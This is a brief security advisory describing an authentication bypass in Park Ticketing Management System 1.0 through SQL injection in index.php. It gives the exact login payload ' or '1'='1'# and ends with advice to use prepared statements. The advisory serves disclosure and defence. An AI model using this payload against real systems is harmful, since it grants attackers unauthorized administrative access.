Park Ticketing Management System 1.0 – Authentication Bypass

Park Ticketing Management System 1.0 is vulnerable to authentication bypass due to lack of sanitization of the $adminuser variable in the index.php file. An attacker can exploit this vulnerability by sending a specially crafted POST request with the username set to ' or '1'='1'# and any password. This will bypass the authentication and allow the attacker to gain access to the application.

Mitigation:

Sanitize user input and use prepared statements to prevent SQL injection attacks.
